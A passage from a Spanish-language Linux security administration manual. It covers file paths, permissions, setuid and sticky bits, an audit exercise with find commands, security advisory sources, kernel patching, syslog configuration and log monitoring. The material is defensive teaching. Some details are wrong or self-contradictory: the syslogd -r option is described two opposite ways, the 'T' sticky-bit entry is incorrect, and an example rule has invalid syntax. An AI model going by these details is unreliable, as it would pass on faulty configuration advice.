Un nombre de ruta absoluto comienza con un slash (/). Después de eso, este esta compuesto del nombre de los directorios que pasan a través de la ruta, separados por slash. Por ejemplo: ej.:/usr/bin/tty, este es el nombre de ruta absoluta para el archivo tty en el archivo /usr/bin del sistema jerárquico.

Un nombre de ruta relativa describe la ruta a un archivo o directorio empezando desde el directorio actual. El formato de un nombre de ruta relativo es similar al nombre de ruta absoluta excepto que el nombre de ruta relativo no empieza con el slash.

El ejemplo muestra que, cuando el directorio actual esta en /usr, el nombre de ruta relativa al archivo es: ej.: bin/tty. Usted puede ver que si el directorio actual fuese /usr/bin, la ruta relativa sera simplemente: ej.: tty

. El directorio de trabajo actual

.. El directorio padre (un paso atrás del directorio actual)

Estos nombres pueden ser usados dondequiera en un nombre de ruta, relativa o absoluta. Estos son

mayormente usados en los nombres de rutas relativas desde desde que le permiten especificar las rutas que viajan hacia arriba a través de la jerarquía como también hacia abajo. Por lo tanto, la ruta relativa del directorio /home/antonio es ../antonio.

Similarmente, podemos especificar una ruta relativa a un archivo en nuestro directorio actual. Por ejemplo, el archivo.txt puede también ser referido usando ./archivo.txt.

Esto puede ser usado cuando los nombres de los archivos empiezan con un menos por que un comando normalmente tratara un menos líder como una opción de comando. Presidiendo el nombre con ./ obviamente se elimina cualquier confusión.

El Directorio home

Cada usuario en el sistema tiene un directorio home. Esta es la localidad donde el usuario llega cuando ingresa al sistema. El directorio home contienen los archivos pertenecientes al usuario. El usuario puede libremente crear archivos y directorios aquí. El contenido del directorio home esta protegido por defecto para usuarios que no sean el propietario o el usuarios privilegiados con un acceso especial (como el root).

Los archivos de inicio y configuración están ubicados en el directorio home. Estos incluyen archivos de sesión personalizados, tales como .profile o .login, como también archivos de inicialización de aplicaciones, tales como .Xdefaults y .mailrc.

Configuración del Usuario

El archivo /etc/securetty determina donde estará permitido el ingreso a root. Por defecto, root tiene solamente permitido ingresar al sistema desde una consola perteneciente directamente desde el mismo sistema. Si un usuario usando telnet ingreso al sistema y desea cambiar al root el sistema le negara el acceso aunque este tenga la contraseña de root. Root siempre puede modificar este archivo.

Permisos de Archivos

Los permisos de archivos están diseñados para permitir lectura, escritura o ejecución a un archivo. Por la manipulación de los permisos de los archivos, el acceso a los directorios y archivos puede ser permitido o denegado basado en el nombre de usuario o nombre de grupo. Una configuración impropia puede comprometer la seguridad de un archivo o directorio.

Los permiso de archivos permiten que tres grupos de personas tengan diferentes permisos de acceso para un archivo. El propietario tiene una asignación de permisos, el grupo y los otros otra. La mayoría de los problemas de seguridad surgen en la tercera asignación de los permisos, los permisos para los otros, el universo de los usuarios. Si un archivo concede permisos de escritura o ejecución para todos los otros usuarios, este archivo es ahora un potencial foco de preocupación ya que un atacante pueda modificar el archivo para realizar cualquier tarea.

Los Archivos

GNU/Linux tiene casi desde sus inicios permitido el estilo de UNiX de largos nombres para archivos y directorios, y como UNiX, todos los archivos están asociados con un inodo, o un nodo intermediario que contiene información sobre un archivo. Algunos de los datos contenidos en el inodo son:

- El tipo de archivos (Algunas veces llamado número mágico)
- EL tamaño del archivo (en bytes)
- Una archivo de referencia, para no duplicar archivo o para que un archivo aparezcan con diferentes nombres pero que en esencia son el mismo archivo (llamados enlaces o archivos enlazados).

- Un puntero a una lista de direcciones de bloques donde el contenido del archivo actualmente reside.
- Varios grupos de fecha/hora; ejemplo, cuando un archivo fue últimamente accesado (atime), cuando el contenido del archivo fue últimamente modificado (mtime) y cuando este inodo fue actualizado la última vez (ctime).
- Campos relacionados a seguridad: el UID y el GID al que el archivo pertenece.
- Permisos de acceso al archivo o bits, los cuales también son llamados modo de bits (examinaremos esos bits en detalle).

El UID y El GID

Los permisos son un conjunto de bits que sirven de control sobre todos los objetos del sistema. Estos objetos del sistema son los archivos, directorios, incluyendo los ejecutables. Esta información es mantenida en la porción de inodo del sistema de archivos donde los objetos son alojados. Cierta porción del inodo es reservada. Por lo general esta porción es de 16 bits y es manejada de forma colectiva como una sola entidad. Nueve bits son usados para el modo de los archivos (lectura, escritura, ejecución). Tres bits adicionales describen o establecen como esos bits pueden trabajar con ciertos UID y GID que están también asociados con el archivo.

Los UID son unicamente indicados en el archivo del sistema /etc/passwd. El GID esta unicamente descrito en el archivo del sistema /etc/group. Cuando alguien comienza usando el sistema, un proceso es iniciado para cada invocación del usuario. Este proceso es rastreado por el kernel y luego es asignado a un recurso tal como la memoria, CPU, I/O, y así sucesivamente. Para ayudar al kernel a rastrear esta información, cada proceso debe tener un identificador de proceso (PID). Cada PID tiene en su tabla otros cuatro números. Dos son los ya mencionados UID y GID.

Adicionalmente, un par extra de números UID y GID sobrante por el caso de que el usuario se cambie a otro usuario y su nivel de privilegios usando la contraseña de ese usuario. En tal caso, los efectivos UID y GID son diferentes de los valores fijados inicialmente. Esos valores efectivos son evaluados por el kernel de UNiX para conceder acceso de acceso o denegarlo.

Fijar Bits: Setuid, Setgid y Sticky Bits

Algunos programas le requieren a los usuarios tener niveles de root antes de estos ser invocados. Habilitando setuid para un programa le permite a un usuario regular invocarlo y luego tenerlo ejecutado con todos los privilegios de root (o algunos otros usuarios). Por ejemplo, cuando los usuarios cambian su propia contraseña, ellos necesitan los mismos permisos de root para hacer el cambio. El problema con setuid es que cualquier programa al cual se la haya concedido este privilegio se convierte en un enlace potencial de debilidad. Desde que el programa tiene el mismo acceso como root, un ataque a través de ese sencillo programa puede comprometer la seguridad del sistema completo.

Las características de Setgid es que es otra herramienta usada para ayudar a determinar los permisos de los archivos. Si el bit Setgid es fijado en un directorio, luego cualquier archivo creado en ese directorio tendrá la propiedad del grupo de ese directorio mas bien que el grupo por defecto del usuario. Un programa puede tener ambos bits fijado al mismo tiempo.

La siguiente tabla muestra los bits extras que se fijan y que pueden ser usados para el cambio efectivo de los UID y GID. El bit de setuid es el décimo segundo bit, el bit de Setgid es el décimo primero y el Sticky bit es usual- mente los restantes diez bit en el inodo de 16 bit de la palabra.

Bit de Permiso	**Significado**

s	Cuando es fijado en el componente propietario del archivo, esto le indica al kernel Linux que es ejecutado, este UID efectivo debe ser fijado para eso del propietario.
S	Esto indica que el setuid esta encendido, pero el bit de ejecución (x) no ha sido fijado.
s	Cuando es fijado en el componente del grupo del archivo, esto indica al kernel Linux eso sobre la ejecución, el GUI efectivo debe ser fijado para ese grupo.
S	Esto indica que el Setgid esta encendido, pero que el bit de ejecución (x) del grupo no esta fijado.
t	Este es el Sticky bit. Sobre la terminación del programa, este indica que el programa no sera inmediatamente removido desde el área swap. Esto es obsoleto. Sistemas UNiX modernos, y GNU/Linux es uno, ignoran este bit y toman sus propias decisiones sobre la administración de la memoria.
T	Este es el Sticky bit. Cuando es fijado en un directorio, un usuario solo puede borrar archivos en ese directorio si es el propietario y tiene los permisos de escritura para ese archivo.

El programa que necesita permisos extras usa las características de SUID/SGID. Por ejemplo, el programa passwd, el cual debe de escribir al archivo de contraseñas del sistemas, necesita ejecutarse con los permisos de root para realizar esa tarea. Por que el mecanismo de SUID/SGID temporalmente le concede a un usuario mas permisos que los derechos dados normalmente a este, todos los programas en un sistema que tienen este bit deben ser monitoreado y examinado por cambios continuamente.

Ejercicio 5-1: Busque los programas Setuid y Setgid en su Sistema
La solución para este ejercicio esta provista en el Apéndice al final de este manual.
1) Compruebe el siguiente comando y busque los comandos con los bits de Setuid/Setgid para ver si se encuentran algunos en su sistema:
[root@localhost antonio]# find /sbin \(-perm +4000 -o -perm +2000 \) -exec ls -l \{\} \;
2) Compruebe la existencia de archivos globales que pueden ser escritos en su directorio home y en /sbin y compare el resultado:
[root@localhost antonio]# find /home/antonio -perm -2 ! -type l -exec ls -l \{\} \;
[root@localhost antonio]# find /sbin -perm -2 ! -type l -exec ls -l \{\} \;
3) Pruebe los archivos en su directorio home que usted no es el propietario:
[antonio@localhost ~]$ find /home/antonio -nouser -o -nogroup 2>/dev/null | xargs ls -l
4) Pruebe por archivos .rhosts:
    # find /home -name .rhosts
5) ¿Qué esta mal (desde una perspectiva de seguridad) con el comando listado en el paso 4?
6) ¿Cómo usted buscaría en sistema por archivos hosts.equiv?
7) ¿Cómo usted podría fijar estos comandos para que se ejecuten automáticamente?
8) ¿Qué logra el ultimo set de parámetros del paso 1? **-exec ls -l \{\} \;**

Recursos de información de Seguridad

Hay muchos recursos en Internet que pueden ayudar a fortalecer la seguridad de un sistema GNU/Linux. Uno de los conceptos mas importantes transmitidos por los la mayoría de sitios de Internet que proveen información de Seguridad es que la seguridad basada en el oscurantismo no funciona. Puesto de la manera mas simple, no hay ningún beneficio en encubrir las debilidades de seguridad, ni las herramientas que las pueden explotar. De hecho tener lo único que puede ayudar al administrador a estar preparado para enfrentar cualquier

atacante es información.

Encubrir las las vulnerabilidades por lo general resultará en una situación donde el atacante tendrá mas conocimientos que el administrador, lo cual es revela un ambiente pobre de seguridad. Las fuentes que proveen informaciones sobre las vulnerabilidades y los problemas de seguridad que afectan los sistemas son el mejor aliado de los encargados de asegurar sistemas. Las informaciones sobre asuntos de seguridad pueden ser obtenidos de muchas fuentes, tales como sitios Web, listas de correo y grupos de noticias, para mencionar unos cuantos. En esta sección discutiremos los siguientes temas que son una pequeñísima lista de algunos de los mas populares lugares para obtener información sobre asunto de seguridad:

- CERT/CC
- Chrootkit.org
- El Instituto SANS
- SecurityFocus.com
- Grupos de Noticias
- Descripción y Aplicación de los Parches del Kernel

CERT/CC

El Equipo de Respuestas A Emergencias Computacionales/Centro de Coordinación (CERT/CC) es un gran centro de reportes para exploits y otras debilidades de sistemas que son descubiertas. CERT/CC fue fundada en la universidad de Carnegie Mellon en Diciembre del 1988 por la Agencia de Proyectos de Defensa e Investigación Avanzada (DARPA) poco después del incidente del gusano de Morris, el cual impacto mas del 10% de todo el Internet. La respuesta inicial a este ataque fue la función original del centro, pero recientemente este ha crecido para incluir entrenamiento y supervisión de otros grupos de respuestas y profesionales de seguridad. La investigación es importante en el centro y es hecha en todas las áreas de seguridad, incluyendo las causas de las vulnerabilidades, prevención y mejora.

CERT/CC es ahora una parte del Instituto Carnegie Mellon para Sistemas Sobrevivientes (CMISS), el cual fue establecido en Abril del 2000. CMISS es el esfuerzo colaborado de casi docenas de organizaciones. Su propósito es investigar los asuntos de seguridad, direccionarlos y desarrollar información para mejorar la seguridad.

El sitio de CERT (www.cert.org) contiene información abundante sobre los temas de seguridad. La pagina principal contiene títulos e importantes alertas de seguridad. Cada alerta contiene información detallada sobre cuales sistemas operativos son afectados. Si un método de resolver el problema es encontrado (usualmente son listados varios métodos) instrucciones detalladas hacia la resolución son provistas.

Lista de Correo

CERT/CC ofrece una lista de correos que suple información sobre problemas de seguridad actuales y temas relacionados. Los nombres de la listas no son publicados y CERT usa una clave PGP (Pretty Good Privacy) para firmar sus correos, lo cual previenen consultas fraudulentas. Para suscribirse a la lista, envíe un correo al certadvisory-request@cert.org con “SUBSCRIBE <su dirección electrónica>” en el asunto del mensaje. Si la dirección no funciona, intente visitando su sitio en http://www.cert.org/contact_cert/certmaillist.html.

Chrootkit.org y Portales especializados en Descargas de Exploits para Administradores de Sistemas

El portal chrootkit.org tiene información similar a la del CERT de las alertas y otras informaciones. En el portal ellos tienen los códigos fuentes para configurar, compilar e instalar el software necesario para detectar cualquier tipo de rootkit que un cracker mal interesado pudo haber instalado en nuestro server para conseguir

información y causarnos problemas.

El portal www.linux-sec.net mantiene listas y descargas directas de otros portales que se dedican a colocar los fuentes y binarios para practicar exploits que pueden afectar nuestros sistemas.

El Instituto SANS

Establecido en 1989, El Instituto de Administración de Sistemas, Redes y Seguridad (SANS) es una organización de mas de 96,000 profesionales que comparten información en un esfuerzo cooperativo. El enfoque principal del instituto es de extender el conocimiento que beneficiará al administrador de sistemas así como también a los profesionales de seguridad y redes.

Servicios

A continuación se muestra una lista descriptiva de los servicios que el instituto ofrece:

SANS NewsBites provee un resumen semanal de nuevas historias publicadas que pertenecen a la seguridad. El Consenso de Alerta de Seguridad de SANS (SAC) provee un resumen semanal de las alertas de seguridad y soluciones.

El Centro de Análisis de Incidentes Globales provee un programa de respuesta donde las vulnerabilidades de seguridad son analizadas y reportadas. Es un programa voluntario que provee una gran oportunidad para cualquiera que para que colabore con veteranos y aprenda tácticas para manejar ataques de seguridad.

Como Subscribirse

Todos los servicios que son ofrecidos por el Instituto SANS pueden ser accesados en su sitio Web

http://www.sans.org/sansnews

SecurityFocus.com

SecurityFocus en http://www.securityfocus.com, es un sitio Web que contiene una gran abundancia de servicios y recursos relacionados con la seguridad.

Servicios

BugTraq es una lista de correo moderada que fue establecida en Noviembre de 1993 para enfocarse en alertar a los administradores a que conozcan bugs o exploits y las soluciones o parches asociados. BugTraq existe como un sitio Web y como una lista de correo que los administradores pueden firmar para recibir alertas relacionadas con bugs y otros temas de seguridad. BugTraq provee discusiones detalladas y avisos de vulnerabilidades de seguridad. Es una de las mejores listas de correos conocidas, con mas de 27,000 suscriptores.

Como Subscribirse

Para usar cualquiera de los servicios que SecurityFocus.com ofrece, o suscribirse a cualquiera de sus listas de correos, use los hiperenlaces del sitio, comenzando en http://www.securityfocus.com/. Para suscribirse a la lista de correos del BugTraq, envíe un correo al listserv@securityfocus.com con “SUBSCRIBE BUG-TRAQ Apellido, Nombre” en el cuerpo del mensaje. SecurityFocus le enviara una petición de confirmación que necesitara una respuesta. Si esto no trabaja, verifique el FAQ de BugTraq para informaciones mas detalladas.

Grupos de Noticias

Los grupos de noticias son una manera de ganar información valiosa perteneciente a seguridad. Muchos grupos de noticias relacionados con seguridad son disponibles. La siguiente es una lista corta de grupos de noticias; para una lista mas detallada, vea http://www.cert.org/other_sources/usenet.html.

Aplicando Parches al Kernel

En GNU/Linux, El kernel es constantemente actualizado, refinado y reconfigurado. Cambiar el kernel en un

sistema puede proveer seguridad y aumento de funcionamiento. Hay varios métodos de mejorar y actualizar el kernel, comenzando desde la instalación de una nueva distribución con un kernel completamente nuevo hasta parchear un kernel existente con nuevo código fuente. En esta sección nos enfocaremos en mejorar un kernel a través del método de aplicar parches.

La mayoría de las distribuciones ponen a disposición actualizaciones del sistema en sus sitios Web que contienen actualizaciones de seguridad. Los administradores deben implementar todas las actualizaciones relacionadas con seguridad provistas por su distribución. Ademas de los recursos provistos por su distribución, hay otros recursos en Internet que proveen informaciones importantes sobre la seguridad de los sistemas.

Descripción de los Parches del Kernel

El core del sistema operativo GNU/Linux es el kernel. La colaboración de miles de programadores alrededor del mundo ha conducido al desarrollo continuo y mejora del kernel, rápidamente agregándole funcionalidad a este. Así, el kernel (Linux) representa un trabajo en progreso. Aunque es mas seguro que la mayoría de los sistemas operativos, el kernel Linux no es inmune a las brechas de seguridad.

Agregándole características y funcionalidad al kernel le provee a un cracker con mas puntos de acceso y agujeros potenciales de seguridad. Porque el kernel es el core del sistema operativo GNU/Linux, las debilidades de seguridad pueden abrir el sistema completo a problemas de seguridad. Sin embargo, brechas potenciales de seguridad pueden ser arregladas con código adicional, comúnmente referidos como parches. La habilidad de parchear el kernel lo consolida y lo hace mas beneficioso para el usuario final. Los esfuerzos colaborativos de la comunidad de GNU/Linux le permite a los parches ser desarrollados rápidamente cuando se descubren problemas y son puesto a la disponibilidad de los usuarios en Internet.

El kernel es un intermediario entre el hardware y el software, controlando las llamadas de sistemas, los ID de procesos, la ejecución de los comandos, etc. Si un usuario puede burlar a este, entonces puede ganar acceso a cualquier archivo almacenado en el sistema. Un usuario no autorizado puede cambiar su identificación de usuario por la identificación del usuario root, lo cual resultaría en un usuario no autorizado que gana acceso al sistema como root. A menudo, las medidas de seguridad confían en los servicios provistos por el kernel para implementar medidas de protección. Cuando el kernel se ve comprometido, entonces la seguridad ofrecida por esa característica o servicio del kernel se vuelve inútil porque no esta disponible para ejecutarse o conceder acceso no autorizado.

La comunidad de GNU/Linux puede rápidamente desarrollar un parche para reparar esos agujeros de seguridad una vez son descubiertos. Para mantener un sistema seguro, el administrador debe estar enterado de los bugs de seguridad que afectan el kernel y estar en capacidad para aplicar el parche apropiado. Los administradores también deben comparar los beneficios de aplicar un parche a un kernel existente o la opción de compilar una nueva versión del kernel estable.

SYSLOG

Syslog es usado para colectar y almacenar los mensajes de log del kernel y las aplicaciones locales o de red. Eric Allman de la Universidad de Berkeley de California diseño el programa syslog para darle al administrador de sistemas control de todos las ventajas de los log en una maquina con un programa centralizado.

Dependiendo en la experiencia y quizás la suerte del atacante, el sistema de log puede ser modificado después de un ataque para encubrir las pistas del intruso. Este encubrimiento puede ocurrir de forma involuntaria por una mala configuración y que sobrescriba los logs antes de ser leídos o por el mismo intruso para encubrir sus pistas. Alguien que ingresa al sistema y empieza a forzar con los archivos del sistema es

probable que genere trafico en el sistema y que se registre en los logs que pueden ofrecer pistas provechosa de que estuvo haciendo, de donde vino y cuando paso todo.

Son sus logs enviados a otro servidor, colocando fuera del alcance del intruso en caso de que un atacante ingrese y elimine sus pistas del sistema de logs local, pero podamos tener copias en un servidor alterno. Ocasionalmente se deben comparar los logs de la localidad remota con los logs del sistema local actual.

En muchas distribuciones, varios mensajes relacionados con seguridad estarán directamente almacenados en /var/log/secure. Este archivo será un buen candidato para enviarse en email a otra localidad remota.

Los siguientes temas serán cubiertos en esta sección:

- Componentes del Syslog
- Controlando Syslog
- Acceso Remotos
- Asegurando el Esquema de Logs

Componentes de Syslog

Los dos componentes de syslog son el daemon (demonio) syslogd, el cual es encontrado en el directorio /sbin y el archivo de configuración syslog.conf, el cual es encontrado en el directorio /etc. syslog es a menudo iniciado en el momento de inicio del sistema por uno de los scripts de rc. A continuación mostraremos algunas de las opciones que pueden ser usadas cuando se inicia syslogd.

Opción	Argumento	Propósito
-a	<socket>	Especifica diferentes sockets a los cuales syslogd escucha.
-d	none	Inicia el debugging
-f	<archivos de conf.>	Especifica un archivo de configuración alternativo.
-m	<marca intervalo	Especifica el número de minutos entre los mensajes de logs marcados.
-s	none	Especifica un nombre de dominio que debe ser quitado antes del log.
-r	none	Suprime los mensajes de log recibidos por el host remoto.

Controlando Syslog

Syslog es controlado por el archivo de configuración /etc/syslog.conf, un archivo de texto que consiste en reglas para el log, con una regla por linea. Este archivo de configuración es de solo lectura cuando syslogd esta activo. Si se han hecho cambios al syslog.conf, el el syslogd debe de ser reiniciado para que cargue la nueva configuración. Los comentarios son precedidos con el caracter #. Cada regla consiste de dos campos, el campo de selección y el campo de acción. Las reglas son el siguiente formato:

selector <tab> acción

EL selector contiene dos partes, la facilidad y la prioridad, las cuales están separadas por un periodo. Múltiples selectores pueden ser combinados con un punto y coma y múltiples facilidades pueden ser combinadas con una coma. Algunos ejemplos de maneras validas de combinar y dar formato a los selectores son:

facilidad. prioridad	**acción**
facilidad 1.prioridad :facilidad 2.prioridad2	**acción**
facilidad,facilidad 2. prioridad	**acción**
***. prioridad**	**acción**

Una regla en el archivo syslog.conf puede parecer como esto:

auth.kern.err /var/log/errorlog

En este ejemplo, las facilidades son auth y kern. Actualmente las facilidades generan el log. err es la prioridad o la importancia del mensaje. /var/log/errorlog es la acción. En este caso, la acción le dice a syslogd que guarde los mensajes logs al archivo local /var/log/errorlog.

Facilidades

Las facilidades son diferentes programas que envían mensajes al syslog para ser escritos a los logs. Las facilidades son para usos específicos, tal como kern para el kernel y facilidades que cubren áreas pueden incluir varios programas, tal como es auth. Si un programa no esta cubierto bajo una facilidad especifica, esta bajo el usuario de facilidades genéricas. A continuación mostraremos facilidades mas relevantes como también una breve descripción de estas.

Facilidad	Descripción
kern	El kernel
user	Procesos del usuario regular
mail	El sistema de correo
lpr	El sistema de impresión
auth	El sistema de autenticación
authpriv	Mensajes de autenticación privada
daemon	Otros demonios del sistema
cron	El daemon cron
local 0-7	Para el uso local (sudo, dhcp, etc.)
mark	Una facilidad de timestamp
ftp	El daemon ftp
news	El sistema de noticias Usenet
*	Define todas las facilidades

Niveles de Prioridad

La prioridad define la severidad del mensaje a ser logeado. Su rango es desde mensajes de eliminación de errores, tales como el debug, a mensajes de emergencias, tales como emerg. A continuación mostraremos los diferentes niveles de prioridad con su descripción.

Prioridad	Descripción
emerg	Una condición de emergencia, tales como una eminente falla del sistema.
alert	Condición que debe ser corregida inmediatamente, tales como un sistema de base de datos corrupto.
crit	Un error critico, tales como la falla de un dispositivo de hardware.
err	Un error ordinario.
warning	Precaución.
notice	No es un error, pero de be ser manejado como el mismo.
info	Un mensaje informativo.
debug	Mensaje de eliminación de errores.

Los especificadores pueden ser usados para remplazar prioridades. El asterisco (*) puede ser usado para definir todas las prioridades. El signo de exclamación (!) ignorara la prioridad que este precede. El signo de igual (=) restringirá logearse de la prioridad que este precede mas bien que logear todos los mensajes con altas prioridades. La palabra “none” pueden ser usadas en lugar de una prioridad para excluir la facilidad que la precede.

Acciones

El campo de acción le dice al syslog que hacer con los mensajes que este recibe. Los mensajes pueden ser grabados a un archivo local, luego reenviado a una maquina remota ejecutando syslog, o mostrado en pantalla de los usuarios que han ingresado en el sistema. Actualmente, dos o mas reglas deben ser usadas por que no hay provisiones para acciones múltiples. A continuación describiremos algunas acciones:

Acción	Descripción
filename	Guarda los mensajes en un archivo local
@hostname	Reenviá mensajes a un syslogd en una maquina remota, especificando la maquina por nombre de host
@ipaddress	Reenviá mensajes a un syslogd en una maquina remota, especificando la maquina por su dirección ip
username,username2	Muestra los mensajes en la pantalla del usuario especificado si ha ingresado al sistema
*	Muestra los mensajes en la pantalla de todos los usuario que actualmente han ingresado al sistema.

Acceso Remoto

Los clientes de la red usualmente reenvían sus mensajes importantes a un servidor central de archivos logs. Teniendo todos los mensajes importantes de log en un solo lugar ayuda a simplificar el deber de un administrador de red. En una red de varios cientos o miles de maquinas, seria una tarea tediosa para un administrador de red verificar los archivos logs en cada maquina por separado. Para usar una servidor central de archivos logs, el archivo syslog.conf debe de ser configurado en cada host para que envíe sus mensajes al servidor de archivos de logs. syslogd debe de ser configurado para aceptar mensajes desde un host en el servidor de archivos de logs.

Asegurando el Esquema de Logs

Es necesario para el administrador de red asegurar la maquina donde los mensajes de logs son almacenados. Si un intruso tiene acceso a esta localidad, este pueden fácilmente reescribirlos y eliminar todas las pistas de sus actividades. Si esto ocurre, ninguna cuenta del intruso permanecerá en el log. Esto puede hacer que sea difícil rastrear el origen del ataque dado que los archivos logs son los primeros en ser revisados después de que ocurre un ataque.

Si es posible, el servidor de archivos de logs no debería servir para otro propósito que archivar los logs y tendría tantas cuentas de logs como fuese posible. Nadie mas que el administrador debe de tener una cuenta en el servidor porque ganando acceso de la cuenta del superusuario puede ser trivial si una cuenta local en el servidor es comprometida. Además, algunos daemons y puertos abiertos se les hacen difícil a los atacantes para ganar acceso no autorizado remotamente. Esto puede ser una buena idea tener un servidor de archivos logs que este en una localidad diferente a las otras maquinas en la red. Este es un punto especialmente válido si existen usuarios en la red que deben ingresar al sistema y no son de nuestra entera confianza.

Cuando la opción -r es usada para habilitar el acceso remoto a los archivos de logs, syslogd aceptará mensajes desde cualquier parte. Esto abre la posibilidad de que un ataque DoS sea administrado enviando grandes cantidades de mensajes logs falsos al servidor de archivos logs. Esta acción puede prevenir que los mensajes válidos sean recibidos y que el servidor se sature con archivos logs repletos de información basura, y hasta que el server pare de recibir mensajes por largos periodos de tiempo. Los administradores de redes deben de limitar la lista de direcciones IP que son aceptadas para conectarse al servidor de archivos logs. Otra cosa importante es que el acceso al servidor de archivos logs debe ser bloqueado su acceso desde fuera de la red si es posible al nivel de router.

Sistema de Monitoreo

Las frecuentes pruebas y el buen mantenimiento de la seguridad de una red o host es una parte vital de salvaguardar la información que este contiene. Un administrador de sistemas debe de estar disponible para rápidamente detectar y reparar agujeros de seguridad en una red o host y también estar en disposición para monitorearlos en vivo por posible brechas de seguridad.

Esta sección explica algunas áreas y técnicas importantes usadas para monitorear activamente los hosts y las redes. Están incluidos algunos programas populares utilizados cuando se están probando las redes y hosts por

agujeros de seguridad.

Estos programas le permiten al administrador de sistemas conocer que actividad ocurre en la red, tales como cuando los usuarios ingresan o salen del sistema, correos que entran y salen del sistemas y cuales archivos son transferidos a través de la red. Programas de este tipo pueden registrar transacciones que ocurren entre su red y redes remotas.

En esta sección se discutirán los siguientes temas:

- Información de los Archivos Logs
- Monitoreo de los archivos de Logs y Utilitarios de Administración
- Auditoria de Seguridad
- Integridad de los Archivos
- Utilitarios de Verificación de la Integridad

Información de los Archivos Logs

Cuando se está monitoreando una red para posibles brechas de seguridad, los archivos logs son una fuente estupenda de información. Estos le proveen una vasta cantidad de información concerniente a los intentos de ingreso al sistema, legítimos e ilegítimos, mensajes del sistema y acceso remoto. Usando esta información, la detección de un acceso no autorizado y quizás la posible identificación subsecuente de un intruso es posible.

La primera y mas obvia manera de verificar un ingreso no autorizado sospechoso es desde los archivos logs de ingreso del sistema. Cuando un usuario accesa una red, si es root o un usuario sin privilegio, un logs es mantenido de cada intento. Típicamente, todos los intentos de login son mantenidos en el archivo /var/log/secure. Una examinación profunda de este archivo puede decirle a un administrador de sistemas si una persona ha tratado de ingresar ilegalmente a la red a través de repetidos intentos de login fallidos y desde donde, cuál era su IP, los login fueron intentados. Adicionalmente, un log es mantenido por un periodo de tiempo prudente, dependiendo la política de la empresa. Hay un número de archivos seguros (secure, secure.1, secure.2, etc.) que contiene información de sus respectivas periodos de tiempo. El número mas pequeño indica el log mas reciente. Por lo tanto, un administrador de sistemas puede decir si la brecha fue un incidente aislado o una ocurrencia repetitiva.

Mas significante que el login de un usuario en general es el login de un superusuario. La posibilidad de seguir la pista de usuarios que son almacenados en el log como superusuarios es importante. Localizado en /var/log/sulog, el archivo sulog deja al administrador de sistema verificar todos los intentos de login con éxito y los que no lo tuvieron. Por la cantidad de privilegios que tiene un superusuario, cualquiera con intenciones maliciosas que pudo ingresar al sistema como superusuario será una gran amenaza para la red.

Otro archivo de log importante que puede alertar al administrador de sistema sobre un posible ingreso no autorizado es el mensaje del archivo log. Cualquier mensaje del administrador de sistema producida por la red es almacenado dentro de /var/log/messages. La habilidad de escanear los mensajes de los logs puede proveer al administrador de sistemas con información valiosa no solo de problemas del sistema, sino también de mensajes generales del sistema que un posible intruso pudo haber producido.

Monitoreo de los archivos de Logs y Utilitarios de Administración

UNiX y sus variantes subsecuentes, incluyendo GNU/Linux tienen grandes capacidades de almacenamiento de logs que por lo general son incluidos en sus instalaciones por defecto del sistema. Desafortunadamente, esos logs pueden tener sintaxis que difieren en sus formatos de uno al otro, haciéndolos por ende dificultosos de leer

para los administradores de sistemas no experimentados. Esto puede presentar un problema de seguridad ya que los logs del sistema son a menudo la única evidencia disponible a los administradores después de la violación de una brecha de seguridad. Con todo y esto los logs deben de ser leídos con mucha frecuencia. Se puede decir que cada conexión hecha por TCP/IP, NFS o la entrada o salida del sistema de un usuario pueden ser rastreadas usando los archivos logs de GNU/Linux. Hay muchos programas disponibles para proveerle a un administrador de sistemas con los resultados de los logs del sistema sin tener que examinar los logs directamente. La lectura de los logs es un trabajo tedioso y propenso a errores.

Algunos de los muchos programas disponibles a los administradores para leer los logs son Swatch, Xlogmaster y Logcheck. Estos programas proveen una manera que facilita para los administradores de sistemas la verificación de sus logs con mucha facilidad y eficiencia. Además de usar esos utilitarios, hay dos pasos que los administradores deben tomar para ayudar a maximizar la seguridad de sus sistemas:

1. Asegurase de los permisos a los archivos logs, para que solo el usuario root este en posibilidad de leerlos y escribirlos. Esto ayuda a asegurar la información sensible que puede potencialmente comprometer un sistema que no será accesado por usuarios no deseados.

2. Este segundo el cual es probablemente el mas importante, leer los archivos logs. Usando los utilitarios descriptos en esta sección, y muchos otros disponibles le ayudará a organizar la información importante, pero esta organización no puede ser tomada como fin en ella misma. Es mejor iniciar teniendo demasiada información para leer, puesto que, hay veces que el instinto del administrador se equivoca y la respuesta se encuentra donde menos lo esperaba, así que toda la información es importante. La investigación de cualquier entrada inusual es llevada a cabo en esos archivos, aunque hay que entender como esas entradas no autorizadas pueden ser hechas, ayudará a determinar las entradas que necesitan ser filtradas.

Logrotate

Logrotate es un sistema de rotación de logs (archivos de información de estado que generan algunos programas, sobretodo en entornos profesionales, como los es la plataforma GNU/Linux). La utilidad logrotate está pensada para simplificar la administración de los archivos logs en aquellos sistemas en los que se generan en grandes cantidades, como por ejemplo servidores de Internet. logrotate efectuá una rotación automática con posible compresión de los datos y otras opciones, como su borrado programado o envío por email al administrador. logrotate se puede programar para que rote los archivos una vez al día, a la semana o mensualmente, o incluso en cualquier otra función de tiempo y parámetro de tamaño límite. Normalmente, logrotate se ejecuta una vez al día, según lo establece el archivo cron.daily. Instale está utilidad si necesita trabajar con gran cantidad de archivos de log y de gran tamaño. Ahorrará disco y ganará claridad en la administración de su sistema. La configuración de logrotate se efectuá en el archivo /etc/logrotate.conf.

SWATCH

El utilitario Swatch es diseñado para monitorear los archivos logs y notificar al usuario de cualquier entrada inusual en el log. Hay dos maneras en la que swatch puede ejecutarse, las cuales son batch y monitor. El modo batch le permitirá al usuario examinar el archivo log y luego salir, mientras que el modo monitor verificará y evaluará continuamente cada entrada nueva en el log. Hay algunas maneras diferentes en las que swatch puede notificar al usuario si este detecta cualquier actividad inusual. Estas pueden incluir, una campana en la terminal, un email, enviando mensajes a la ventana del terminal directamente y codificaciones en colores. Swatch tiene requerimientos de Perl para ser ejecutado y esta distribuido bajo licencia GPL. Una desventaja de Swatch es si se necesita protección en múltiples computadores, un proceso swatch debe de estar ejecutándose en cada uno de ellos, al menos que los archivos estén siendo almacenados en una maquina central. Además, un proceso swatch

debe de ejecutarse para cada archivo log.

